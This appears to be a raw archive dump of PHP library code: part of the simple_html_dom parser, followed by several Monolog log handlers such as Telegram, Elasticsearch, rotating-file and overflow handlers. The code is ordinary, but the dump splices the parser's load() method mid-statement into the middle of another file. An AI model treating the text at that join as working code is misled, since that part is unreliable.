== 0) && ($this->is_utf8($text))) { $converted_text = $text; } else { $converted_text = iconv($sourceCharset, $targetCharset, $text); } } // Lets make sure that we don't have that silly BOM issue with any of the utf-8 text we output. if ($targetCharset === 'UTF-8') { if (substr($converted_text, 0, 3) === "\xef\xbb\xbf") { $converted_text = substr($converted_text, 3); } if (substr($converted_text, -3) === "\xef\xbb\xbf") { $converted_text = substr($converted_text, 0, -3); } } return $converted_text; } static function is_utf8($str) { $c = 0; $b = 0; $bits = 0; $len = strlen($str); for($i = 0; $i < $len; $i++) { $c = ord($str[$i]); if($c > 128) { if(($c >= 254)) { return false; } elseif($c >= 252) { $bits = 6; } elseif($c >= 248) { $bits = 5; } elseif($c >= 240) { $bits = 4; } elseif($c >= 224) { $bits = 3; } elseif($c >= 192) { $bits = 2; } else { return false; } if(($i + $bits) > $len) { return false; } while($bits > 1) { $i++; $b = ord($str[$i]); if($b < 128 || $b > 191) { return false; } $bits--; } } } return true; } function get_display_size() { global $debug_object; $width = -1; $height = -1; if ($this->tag !== 'img') { return false; } // See if there is aheight or width attribute in the tag itself. if (isset($this->attr['width'])) { $width = $this->attr['width']; } if (isset($this->attr['height'])) { $height = $this->attr['height']; } // Now look for an inline style. if (isset($this->attr['style'])) { // Thanks to user gnarf from stackoverflow for this regular expression. $attributes = array(); preg_match_all( '/([\w-]+)\s*:\s*([^;]+)\s*;?/', $this->attr['style'], $matches, PREG_SET_ORDER ); foreach ($matches as $match) { $attributes[$match[1]] = $match[2]; } // If there is a width in the style attributes: if (isset($attributes['width']) && $width == -1) { // check that the last two characters are px (pixels) if (strtolower(substr($attributes['width'], -2)) === 'px') { $proposed_width = substr($attributes['width'], 0, -2); // Now make sure that it's an integer and not something stupid. if (filter_var($proposed_width, FILTER_VALIDATE_INT)) { $width = $proposed_width; } } } // If there is a width in the style attributes: if (isset($attributes['height']) && $height == -1) { // check that the last two characters are px (pixels) if (strtolower(substr($attributes['height'], -2)) == 'px') { $proposed_height = substr($attributes['height'], 0, -2); // Now make sure that it's an integer and not something stupid. if (filter_var($proposed_height, FILTER_VALIDATE_INT)) { $height = $proposed_height; } } } } // Future enhancement: // Look in the tag to see if there is a class or id specified that has // a height or width attribute to it. // Far future enhancement // Look at all the parent tags of this image to see if they specify a // class or id that has an img selector that specifies a height or width // Note that in this case, the class or id will have the img subselector // for it to apply to the image. // ridiculously far future development // If the class or id is specified in a SEPARATE css file thats not on // the page, go get it and do what we were just doing for the ones on // the page. $result = array( 'height' => $height, 'width' => $width ); return $result; } function save($filepath = '') { $ret = $this->outertext(); if ($filepath !== '') { file_put_contents($filepath, $ret, LOCK_EX); } return $ret; } function addClass($class) { if (is_string($class)) { $class = explode(' ', $class); } if (is_array($class)) { foreach($class as $c) { if (isset($this->class)) { if ($this->hasClass($c)) { continue; } else { $this->class .= ' ' . $c; } } else { $this->class = $c; } } } else { if (is_object($debug_object)) { $debug_object->debug_log(2, 'Invalid type: ', gettype($class)); } } } function hasClass($class) { if (is_string($class)) { if (isset($this->class)) { return in_array($class, explode(' ', $this->class), true); } } else { if (is_object($debug_object)) { $debug_object->debug_log(2, 'Invalid type: ', gettype($class)); } } return false; } function removeClass($class = null) { if (!isset($this->class)) { return; } if (is_null($class)) { $this->removeAttribute('class'); return; } if (is_string($class)) { $class = explode(' ', $class); } if (is_array($class)) { $class = array_diff(explode(' ', $this->class), $class); if (empty($class)) { $this->removeAttribute('class'); } else { $this->class = implode(' ', $class); } } } function getAllAttributes() { return $this->attr; } function getAttribute($name) { return $this->__get($name); } function setAttribute($name, $value) { $this->__set($name, $value); } function hasAttribute($name) { return $this->__isset($name); } function removeAttribute($name) { $this->__set($name, null); } function remove() { if ($this->parent) { $this->parent->removeChild($this); } } function removeChild($node) { $nidx = array_search($node, $this->nodes, true); $cidx = array_search($node, $this->children, true); $didx = array_search($node, $this->dom->nodes, true); if ($nidx !== false && $cidx !== false && $didx !== false) { foreach($node->children as $child) { $node->removeChild($child); } foreach($node->nodes as $entity) { $enidx = array_search($entity, $node->nodes, true); $edidx = array_search($entity, $node->dom->nodes, true); if ($enidx !== false && $edidx !== false) { unset($node->nodes[$enidx]); unset($node->dom->nodes[$edidx]); } } unset($this->nodes[$nidx]); unset($this->children[$cidx]); unset($this->dom->nodes[$didx]); $node->clear(); } } function getElementById($id) { return $this->find("#$id", 0); } function getElementsById($id, $idx = null) { return $this->find("#$id", $idx); } function getElementByTagName($name) { return $this->find($name, 0); } function getElementsByTagName($name, $idx = null) { return $this->find($name, $idx); } function parentNode() { return $this->parent(); } function childNodes($idx = -1) { return $this->children($idx); } function firstChild() { return $this->first_child(); } function lastChild() { return $this->last_child(); } function nextSibling() { return $this->next_sibling(); } function previousSibling() { return $this->prev_sibling(); } function hasChildNodes() { return $this->has_child(); } function nodeName() { return $this->tag; } function appendChild($node) { $node->parent($this); return $node; } } class simple_html_dom { public $root = null; public $nodes = array(); public $callback = null; public $lowercase = false; public $original_size; public $size; protected $pos; protected $doc; protected $char; protected $cursor; protected $parent; protected $noise = array(); protected $token_blank = " \t\r\n"; protected $token_equal = ' =/>'; protected $token_slash = " />\r\n\t"; protected $token_attr = ' >'; public $_charset = ''; public $_target_charset = ''; protected $default_br_text = ''; public $default_span_text = ''; protected $self_closing_tags = array( 'area' => 1, 'base' => 1, 'br' => 1, 'col' => 1, 'embed' => 1, 'hr' => 1, 'img' => 1, 'input' => 1, 'link' => 1, 'meta' => 1, 'param' => 1, 'source' => 1, 'track' => 1, 'wbr' => 1 ); protected $block_tags = array( 'body' => 1, 'div' => 1, 'form' => 1, 'root' => 1, 'span' => 1, 'table' => 1 ); protected $optional_closing_tags = array( // Not optional, see // https://www.w3.org/TR/html/textlevel-semantics.html#the-b-element 'b' => array('b' => 1), 'dd' => array('dd' => 1, 'dt' => 1), // Not optional, see // https://www.w3.org/TR/html/grouping-content.html#the-dl-element 'dl' => array('dd' => 1, 'dt' => 1), 'dt' => array('dd' => 1, 'dt' => 1), 'li' => array('li' => 1), 'optgroup' => array('optgroup' => 1, 'option' => 1), 'option' => array('optgroup' => 1, 'option' => 1), 'p' => array('p' => 1), 'rp' => array('rp' => 1, 'rt' => 1), 'rt' => array('rp' => 1, 'rt' => 1), 'td' => array('td' => 1, 'th' => 1), 'th' => array('td' => 1, 'th' => 1), 'tr' => array('td' => 1, 'th' => 1, 'tr' => 1), ); function __construct( $str = null, $lowercase = true, $forceTagsClosed = true, $target_charset = DEFAULT_TARGET_CHARSET, $stripRN = true, $defaultBRText = DEFAULT_BR_TEXT, $defaultSpanText = DEFAULT_SPAN_TEXT, $options = 0) { if ($str) { if (preg_match('/^http:\/\//i', $str) || is_file($str)) { $this->load_file($str); } else { $this->load( $str, $lowercase, $stripRN, $defaultBRText, $defaultSpanText, $options ); } } // Forcing tags to be closed implies that we don't trust the html, but // it can lead to parsing errors if we SHOULD trust the html. if (!$forceTagsClosed) { $this->optional_closing_array = array(); } $this->_target_charset = $target_charset; } function __destruct() { $this->clear(); } function load( $str, $lowercase = true, $stripRN = true, $defaultBRText = DEFAULT_BR_TEXT, $defaultSpanText = DEFAULT_SPAN_TEXT, $options = 0) { global $debug_object; // prepare $this->prepare($str, $lowercase, $defaultBRText, $defaultSpanText); // Per sourceforge http://sourceforge.net/tracker/?func=detail&aid=2949097&group_id=218559&atid=1044037 // Script tags removal now preceeds style tag removal. // strip out '); } elseif ($format === 'js') { static::writeOutput(static::generateScript()); } static::resetStatic(); } } public function close(): void { self::resetStatic(); } public function reset() { parent::reset(); self::resetStatic(); } /** * Forget all logged records */ public static function resetStatic(): void { static::$records = []; } /** * Wrapper for register_shutdown_function to allow overriding */ protected function registerShutdownFunction(): void { if (PHP_SAPI !== 'cli') { register_shutdown_function(['Monolog\Handler\BrowserConsoleHandler', 'send']); } } /** * Wrapper for echo to allow overriding */ protected static function writeOutput(string $str): void { echo $str; } /** * Checks the format of the response * * If Content-Type is set to application/javascript or text/javascript -> js * If Content-Type is set to text/html, or is unset -> html * If Content-Type is anything else -> unknown * * @return string One of 'js', 'html' or 'unknown' */ protected static function getResponseFormat(): string { // Check content type foreach (headers_list() as $header) { if (stripos($header, 'content-type:') === 0) { // This handler only works with HTML and javascript outputs // text/javascript is obsolete in favour of application/javascript, but still used if (stripos($header, 'application/javascript') !== false || stripos($header, 'text/javascript') !== false) { return 'js'; } if (stripos($header, 'text/html') === false) { return 'unknown'; } break; } } return 'html'; } private static function generateScript(): string { $script = []; foreach (static::$records as $record) { $context = static::dump('Context', $record['context']); $extra = static::dump('Extra', $record['extra']); if (empty($context) && empty($extra)) { $script[] = static::call_array('log', static::handleStyles($record['formatted'])); } else { $script = array_merge( $script, [static::call_array('groupCollapsed', static::handleStyles($record['formatted']))], $context, $extra, [static::call('groupEnd')] ); } } return "(function (c) {if (c && c.groupCollapsed) {\n" . implode("\n", $script) . "\n}})(console);"; } private static function handleStyles(string $formatted): array { $args = []; $format = '%c' . $formatted; preg_match_all('/\[\[(.*?)\]\]\{([^}]*)\}/s', $format, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER); foreach (array_reverse($matches) as $match) { $args[] = '"font-weight: normal"'; $args[] = static::quote(static::handleCustomStyles($match[2][0], $match[1][0])); $pos = $match[0][1]; $format = Utils::substr($format, 0, $pos) . '%c' . $match[1][0] . '%c' . Utils::substr($format, $pos + strlen($match[0][0])); } $args[] = static::quote('font-weight: normal'); $args[] = static::quote($format); return array_reverse($args); } private static function handleCustomStyles(string $style, string $string): string { static $colors = ['blue', 'green', 'red', 'magenta', 'orange', 'black', 'grey']; static $labels = []; return preg_replace_callback('/macro\s*:(.*?)(?:;|$)/', function (array $m) use ($string, &$colors, &$labels) { if (trim($m[1]) === 'autolabel') { // Format the string as a label with consistent auto assigned background color if (!isset($labels[$string])) { $labels[$string] = $colors[count($labels) % count($colors)]; } $color = $labels[$string]; return "background-color: $color; color: white; border-radius: 3px; padding: 0 2px 0 2px"; } return $m[1]; }, $style); } private static function dump(string $title, array $dict): array { $script = []; $dict = array_filter($dict); if (empty($dict)) { return $script; } $script[] = static::call('log', static::quote('%c%s'), static::quote('font-weight: bold'), static::quote($title)); foreach ($dict as $key => $value) { $value = json_encode($value); if (empty($value)) { $value = static::quote(''); } $script[] = static::call('log', static::quote('%s: %o'), static::quote((string) $key), $value); } return $script; } private static function quote(string $arg): string { return '"' . addcslashes($arg, "\"\n\\") . '"'; } private static function call(...$args): string { $method = array_shift($args); return static::call_array($method, $args); } private static function call_array(string $method, array $args): string { return 'c.' . $method . '(' . implode(', ', $args) . ');'; } } vendor/monolog/monolog/src/Monolog/Handler/FormattableHandlerTrait.php000064400000002401147600277620022226 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; /** * Helper trait for implementing FormattableInterface * * @author Jordi Boggiano */ trait FormattableHandlerTrait { /** * @var ?FormatterInterface */ protected $formatter; /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $this->formatter = $formatter; return $this; } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { if (!$this->formatter) { $this->formatter = $this->getDefaultFormatter(); } return $this->formatter; } /** * Gets the default formatter. * * Overwrite this if the LineFormatter is not a good default for your handler. */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter(); } } vendor/monolog/monolog/src/Monolog/Handler/TelegramBotHandler.php000064400000012271147600277620021175 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use RuntimeException; use Monolog\Logger; /** * Handler send logs to Telegram using Telegram Bot API. * * How to use: * 1) Create telegram bot with https://telegram.me/BotFather * 2) Create a telegram channel where logs will be recorded. * 3) Add created bot from step 1 to the created channel from step 2. * * Use telegram bot API key from step 1 and channel name with '@' prefix from step 2 to create instance of TelegramBotHandler * * @link https://core.telegram.org/bots/api * * @author Mazur Alexandr */ class TelegramBotHandler extends AbstractProcessingHandler { private const BOT_API = 'https://api.telegram.org/bot'; /** * @var array AVAILABLE_PARSE_MODES The available values of parseMode according to the Telegram api documentation */ private const AVAILABLE_PARSE_MODES = [ 'HTML', 'MarkdownV2', 'Markdown' // legacy mode without underline and strikethrough, use MarkdownV2 instead ]; /** * Telegram bot access token provided by BotFather. * Create telegram bot with https://telegram.me/BotFather and use access token from it. * @var string */ private $apiKey; /** * Telegram channel name. * Since to start with '@' symbol as prefix. * @var string */ private $channel; /** * The kind of formatting that is used for the message. * See available options at https://core.telegram.org/bots/api#formatting-options * or in AVAILABLE_PARSE_MODES * @var string|null */ private $parseMode; /** * Disables link previews for links in the message. * @var bool|null */ private $disableWebPagePreview; /** * Sends the message silently. Users will receive a notification with no sound. * @var bool|null */ private $disableNotification; /** * @param string $apiKey Telegram bot access token provided by BotFather * @param string $channel Telegram channel name * @inheritDoc */ public function __construct( string $apiKey, string $channel, $level = Logger::DEBUG, bool $bubble = true, string $parseMode = null, bool $disableWebPagePreview = null, bool $disableNotification = null ) { parent::__construct($level, $bubble); $this->apiKey = $apiKey; $this->channel = $channel; $this->setParseMode($parseMode); $this->disableWebPagePreview($disableWebPagePreview); $this->disableNotification($disableNotification); } public function setParseMode(string $parseMode = null): self { if ($parseMode !== null && !in_array($parseMode, self::AVAILABLE_PARSE_MODES)) { throw new \InvalidArgumentException('Unknown parseMode, use one of these: ' . implode(', ', self::AVAILABLE_PARSE_MODES) . '.'); } $this->parseMode = $parseMode; return $this; } public function disableWebPagePreview(bool $disableWebPagePreview = null): self { $this->disableWebPagePreview = $disableWebPagePreview; return $this; } public function disableNotification(bool $disableNotification = null): self { $this->disableNotification = $disableNotification; return $this; } /** * {@inheritdoc} */ public function handleBatch(array $records): void { $messages = []; foreach ($records as $record) { if (!$this->isHandling($record)) { continue; } if ($this->processors) { $record = $this->processRecord($record); } $messages[] = $record; } if (!empty($messages)) { $this->send((string) $this->getFormatter()->formatBatch($messages)); } } /** * @inheritDoc */ protected function write(array $record): void { $this->send($record['formatted']); } /** * Send request to @link https://api.telegram.org/bot on SendMessage action. * @param string $message */ protected function send(string $message): void { $ch = curl_init(); $url = self::BOT_API . $this->apiKey . '/SendMessage'; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'text' => $message, 'chat_id' => $this->channel, 'parse_mode' => $this->parseMode, 'disable_web_page_preview' => $this->disableWebPagePreview, 'disable_notification' => $this->disableNotification, ])); $result = Curl\Util::execute($ch); $result = json_decode($result, true); if ($result['ok'] === false) { throw new RuntimeException('Telegram API error. Description: ' . $result['description']); } } } vendor/monolog/monolog/src/Monolog/Handler/NoopHandler.php000064400000001560147600277620017702 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * No-op * * This handler handles anything, but does nothing, and does not stop bubbling to the rest of the stack. * This can be used for testing, or to disable a handler when overriding a configuration without * influencing the rest of the stack. * * @author Roel Harbers */ class NoopHandler extends Handler { /** * {@inheritdoc} */ public function isHandling(array $record): bool { return true; } /** * {@inheritdoc} */ public function handle(array $record): bool { return false; } } vendor/monolog/monolog/src/Monolog/Handler/ElasticsearchHandler.php000064400000012536147600277620021546 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Throwable; use RuntimeException; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\ElasticsearchFormatter; use InvalidArgumentException; use Elasticsearch\Common\Exceptions\RuntimeException as ElasticsearchRuntimeException; use Elasticsearch\Client; /** * Elasticsearch handler * * @link https://www.elastic.co/guide/en/elasticsearch/client/php-api/current/index.html * * Simple usage example: * * $client = \Elasticsearch\ClientBuilder::create() * ->setHosts($hosts) * ->build(); * * $options = array( * 'index' => 'elastic_index_name', * 'type' => 'elastic_doc_type', * ); * $handler = new ElasticsearchHandler($client, $options); * $log = new Logger('application'); * $log->pushHandler($handler); * * @author Avtandil Kikabidze */ class ElasticsearchHandler extends AbstractProcessingHandler { /** * @var Client */ protected $client; /** * @var array Handler config options */ protected $options = []; /** * @param Client $client Elasticsearch Client object * @param array $options Handler configuration * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(Client $client, array $options = [], $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->client = $client; $this->options = array_merge( [ 'index' => 'monolog', // Elastic index name 'type' => '_doc', // Elastic document type 'ignore_error' => false, // Suppress Elasticsearch exceptions ], $options ); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->bulkSend([$record['formatted']]); } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($formatter instanceof ElasticsearchFormatter) { return parent::setFormatter($formatter); } throw new InvalidArgumentException('ElasticsearchHandler is only compatible with ElasticsearchFormatter'); } /** * Getter options * * @return array */ public function getOptions(): array { return $this->options; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ElasticsearchFormatter($this->options['index'], $this->options['type']); } /** * {@inheritdoc} */ public function handleBatch(array $records): void { $documents = $this->getFormatter()->formatBatch($records); $this->bulkSend($documents); } /** * Use Elasticsearch bulk API to send list of documents * * @param array $records * @throws \RuntimeException */ protected function bulkSend(array $records): void { try { $params = [ 'body' => [], ]; foreach ($records as $record) { $params['body'][] = [ 'index' => [ '_index' => $record['_index'], '_type' => $record['_type'], ], ]; unset($record['_index'], $record['_type']); $params['body'][] = $record; } $responses = $this->client->bulk($params); if ($responses['errors'] === true) { throw $this->createExceptionFromResponses($responses); } } catch (Throwable $e) { if (! $this->options['ignore_error']) { throw new RuntimeException('Error sending messages to Elasticsearch', 0, $e); } } } /** * Creates elasticsearch exception from responses array * * Only the first error is converted into an exception. * * @param array $responses returned by $this->client->bulk() */ protected function createExceptionFromResponses(array $responses): ElasticsearchRuntimeException { foreach ($responses['items'] ?? [] as $item) { if (isset($item['index']['error'])) { return $this->createExceptionFromError($item['index']['error']); } } return new ElasticsearchRuntimeException('Elasticsearch failed to index one or more records.'); } /** * Creates elasticsearch exception from error array * * @param array $error */ protected function createExceptionFromError(array $error): ElasticsearchRuntimeException { $previous = isset($error['caused_by']) ? $this->createExceptionFromError($error['caused_by']) : null; return new ElasticsearchRuntimeException($error['type'] . ': ' . $error['reason'], 0, $previous); } } vendor/monolog/monolog/src/Monolog/Handler/HandlerWrapper.php000064400000006436147600277620020416 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; /** * This simple wrapper class can be used to extend handlers functionality. * * Example: A custom filtering that can be applied to any handler. * * Inherit from this class and override handle() like this: * * public function handle(array $record) * { * if ($record meets certain conditions) { * return false; * } * return $this->handler->handle($record); * } * * @author Alexey Karapetov */ class HandlerWrapper implements HandlerInterface, ProcessableHandlerInterface, FormattableHandlerInterface, ResettableInterface { /** * @var HandlerInterface */ protected $handler; public function __construct(HandlerInterface $handler) { $this->handler = $handler; } /** * {@inheritdoc} */ public function isHandling(array $record): bool { return $this->handler->isHandling($record); } /** * {@inheritdoc} */ public function handle(array $record): bool { return $this->handler->handle($record); } /** * {@inheritdoc} */ public function handleBatch(array $records): void { $this->handler->handleBatch($records); } /** * {@inheritdoc} */ public function close(): void { $this->handler->close(); } /** * {@inheritdoc} */ public function pushProcessor(callable $callback): HandlerInterface { if ($this->handler instanceof ProcessableHandlerInterface) { $this->handler->pushProcessor($callback); return $this; } throw new \LogicException('The wrapped handler does not implement ' . ProcessableHandlerInterface::class); } /** * {@inheritdoc} */ public function popProcessor(): callable { if ($this->handler instanceof ProcessableHandlerInterface) { return $this->handler->popProcessor(); } throw new \LogicException('The wrapped handler does not implement ' . ProcessableHandlerInterface::class); } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($this->handler instanceof FormattableHandlerInterface) { $this->handler->setFormatter($formatter); return $this; } throw new \LogicException('The wrapped handler does not implement ' . FormattableHandlerInterface::class); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { if ($this->handler instanceof FormattableHandlerInterface) { return $this->handler->getFormatter(); } throw new \LogicException('The wrapped handler does not implement ' . FormattableHandlerInterface::class); } public function reset() { if ($this->handler instanceof ResettableInterface) { $this->handler->reset(); } } } vendor/monolog/monolog/src/Monolog/Handler/RotatingFileHandler.php000064400000014051147600277620021355 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use InvalidArgumentException; use Monolog\Logger; use Monolog\Utils; /** * Stores logs to files that are rotated every day and a limited number of files are kept. * * This rotation is only intended to be used as a workaround. Using logrotate to * handle the rotation is strongly encouraged when you can use it. * * @author Christophe Coevoet * @author Jordi Boggiano */ class RotatingFileHandler extends StreamHandler { public const FILE_PER_DAY = 'Y-m-d'; public const FILE_PER_MONTH = 'Y-m'; public const FILE_PER_YEAR = 'Y'; protected $filename; protected $maxFiles; protected $mustRotate; protected $nextRotation; protected $filenameFormat; protected $dateFormat; /** * @param string $filename * @param int $maxFiles The maximal amount of files to keep (0 means unlimited) * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) * @param bool $useLocking Try to lock log file before doing any writes */ public function __construct(string $filename, int $maxFiles = 0, $level = Logger::DEBUG, bool $bubble = true, ?int $filePermission = null, bool $useLocking = false) { $this->filename = Utils::canonicalizePath($filename); $this->maxFiles = $maxFiles; $this->nextRotation = new \DateTimeImmutable('tomorrow'); $this->filenameFormat = '{filename}-{date}'; $this->dateFormat = static::FILE_PER_DAY; parent::__construct($this->getTimedFilename(), $level, $bubble, $filePermission, $useLocking); } /** * {@inheritdoc} */ public function close(): void { parent::close(); if (true === $this->mustRotate) { $this->rotate(); } } /** * {@inheritdoc} */ public function reset() { parent::reset(); if (true === $this->mustRotate) { $this->rotate(); } } public function setFilenameFormat(string $filenameFormat, string $dateFormat): self { if (!preg_match('{^[Yy](([/_.-]?m)([/_.-]?d)?)?$}', $dateFormat)) { throw new InvalidArgumentException( 'Invalid date format - format must be one of '. 'RotatingFileHandler::FILE_PER_DAY ("Y-m-d"), RotatingFileHandler::FILE_PER_MONTH ("Y-m") '. 'or RotatingFileHandler::FILE_PER_YEAR ("Y"), or you can set one of the '. 'date formats using slashes, underscores and/or dots instead of dashes.' ); } if (substr_count($filenameFormat, '{date}') === 0) { throw new InvalidArgumentException( 'Invalid filename format - format must contain at least `{date}`, because otherwise rotating is impossible.' ); } $this->filenameFormat = $filenameFormat; $this->dateFormat = $dateFormat; $this->url = $this->getTimedFilename(); $this->close(); return $this; } /** * {@inheritdoc} */ protected function write(array $record): void { // on the first record written, if the log is new, we should rotate (once per day) if (null === $this->mustRotate) { $this->mustRotate = !file_exists($this->url); } if ($this->nextRotation <= $record['datetime']) { $this->mustRotate = true; $this->close(); } parent::write($record); } /** * Rotates the files. */ protected function rotate(): void { // update filename $this->url = $this->getTimedFilename(); $this->nextRotation = new \DateTimeImmutable('tomorrow'); // skip GC of old logs if files are unlimited if (0 === $this->maxFiles) { return; } $logFiles = glob($this->getGlobPattern()); if ($this->maxFiles >= count($logFiles)) { // no files to remove return; } // Sorting the files by name to remove the older ones usort($logFiles, function ($a, $b) { return strcmp($b, $a); }); foreach (array_slice($logFiles, $this->maxFiles) as $file) { if (is_writable($file)) { // suppress errors here as unlink() might fail if two processes // are cleaning up/rotating at the same time set_error_handler(function (int $errno, string $errstr, string $errfile, int $errline): bool { return false; }); unlink($file); restore_error_handler(); } } $this->mustRotate = false; } protected function getTimedFilename(): string { $fileInfo = pathinfo($this->filename); $timedFilename = str_replace( ['{filename}', '{date}'], [$fileInfo['filename'], date($this->dateFormat)], $fileInfo['dirname'] . '/' . $this->filenameFormat ); if (!empty($fileInfo['extension'])) { $timedFilename .= '.'.$fileInfo['extension']; } return $timedFilename; } protected function getGlobPattern(): string { $fileInfo = pathinfo($this->filename); $glob = str_replace( ['{filename}', '{date}'], [$fileInfo['filename'], '[0-9][0-9][0-9][0-9]*'], $fileInfo['dirname'] . '/' . $this->filenameFormat ); if (!empty($fileInfo['extension'])) { $glob .= '.'.$fileInfo['extension']; } return $glob; } } vendor/monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php000064400000002631147600277620022567 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Base Handler class providing the Handler structure, including processors and formatters * * Classes extending it should (in most cases) only implement write($record) * * @author Jordi Boggiano * @author Christophe Coevoet */ abstract class AbstractProcessingHandler extends AbstractHandler implements ProcessableHandlerInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; use FormattableHandlerTrait; /** * {@inheritdoc} */ public function handle(array $record): bool { if (!$this->isHandling($record)) { return false; } if ($this->processors) { $record = $this->processRecord($record); } $record['formatted'] = $this->getFormatter()->format($record); $this->write($record); return false === $this->bubble; } /** * Writes the record down to the log of the implementing handler */ abstract protected function write(array $record): void; public function reset() { parent::reset(); $this->resetProcessors(); } } vendor/monolog/monolog/src/Monolog/Handler/OverflowHandler.php000064400000011507147600277620020574 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; /** * Handler to only pass log messages when a certain threshold of number of messages is reached. * * This can be useful in cases of processing a batch of data, but you're for example only interested * in case it fails catastrophically instead of a warning for 1 or 2 events. Worse things can happen, right? * * Usage example: * * ``` * $log = new Logger('application'); * $handler = new SomeHandler(...) * * // Pass all warnings to the handler when more than 10 & all error messages when more then 5 * $overflow = new OverflowHandler($handler, [Logger::WARNING => 10, Logger::ERROR => 5]); * * $log->pushHandler($overflow); *``` * * @author Kris Buist */ class OverflowHandler extends AbstractHandler implements FormattableHandlerInterface { /** @var HandlerInterface */ private $handler; /** @var int[] */ private $thresholdMap = [ Logger::DEBUG => 0, Logger::INFO => 0, Logger::NOTICE => 0, Logger::WARNING => 0, Logger::ERROR => 0, Logger::CRITICAL => 0, Logger::ALERT => 0, Logger::EMERGENCY => 0, ]; /** * Buffer of all messages passed to the handler before the threshold was reached * * @var mixed[][] */ private $buffer = []; /** * @param HandlerInterface $handler * @param int[] $thresholdMap Dictionary of logger level => threshold * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble */ public function __construct( HandlerInterface $handler, array $thresholdMap = [], $level = Logger::DEBUG, bool $bubble = true ) { $this->handler = $handler; foreach ($thresholdMap as $thresholdLevel => $threshold) { $this->thresholdMap[$thresholdLevel] = $threshold; } parent::__construct($level, $bubble); } /** * Handles a record. * * All records may be passed to this method, and the handler should discard * those that it does not want to handle. * * The return value of this function controls the bubbling process of the handler stack. * Unless the bubbling is interrupted (by returning true), the Logger class will keep on * calling further handlers in the stack with a given log record. * * @param array $record The record to handle * * @return Boolean true means that this handler handled the record, and that bubbling is not permitted. * false means the record was either not processed or that this handler allows bubbling. */ public function handle(array $record): bool { if ($record['level'] < $this->level) { return false; } $level = $record['level']; if (!isset($this->thresholdMap[$level])) { $this->thresholdMap[$level] = 0; } if ($this->thresholdMap[$level] > 0) { // The overflow threshold is not yet reached, so we're buffering the record and lowering the threshold by 1 $this->thresholdMap[$level]--; $this->buffer[$level][] = $record; return false === $this->bubble; } if ($this->thresholdMap[$level] == 0) { // This current message is breaking the threshold. Flush the buffer and continue handling the current record foreach ($this->buffer[$level] ?? [] as $buffered) { $this->handler->handle($buffered); } $this->thresholdMap[$level]--; unset($this->buffer[$level]); } $this->handler->handle($record); return false === $this->bubble; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($this->handler instanceof FormattableHandlerInterface) { $this->handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { if ($this->handler instanceof FormattableHandlerInterface) { return $this->handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } } vendor/monolog/monolog/src/Monolog/Handler/LogEntriesHandler.php000064400000003262147600277620021043 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * @author Robert Kaufmann III */ class LogEntriesHandler extends SocketHandler { /** * @var string */ protected $logToken; /** * @param string $token Log token supplied by LogEntries * @param bool $useSSL Whether or not SSL encryption should be used. * @param string|int $level The minimum logging level to trigger this handler * @param bool $bubble Whether or not messages that are handled should bubble up the stack. * @param string $host Custom hostname to send the data to if needed * * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing */ public function __construct(string $token, bool $useSSL = true, $level = Logger::DEBUG, bool $bubble = true, string $host = 'data.logentries.com') { if ($useSSL && !extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for LogEntriesHandler'); } $endpoint = $useSSL ? 'ssl://' . $host . ':443' : $host . ':80'; parent::__construct($endpoint, $level, $bubble); $this->logToken = $token; } /** * {@inheritdoc} */ protected function generateDataStream(array $record): string { return $this->logToken . ' ' . $record['formatted']; } } vendor/monolog/monolog/src/Monolog/Handler/InsightOpsHandler.php000064400000003547147600277620021065 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Inspired on 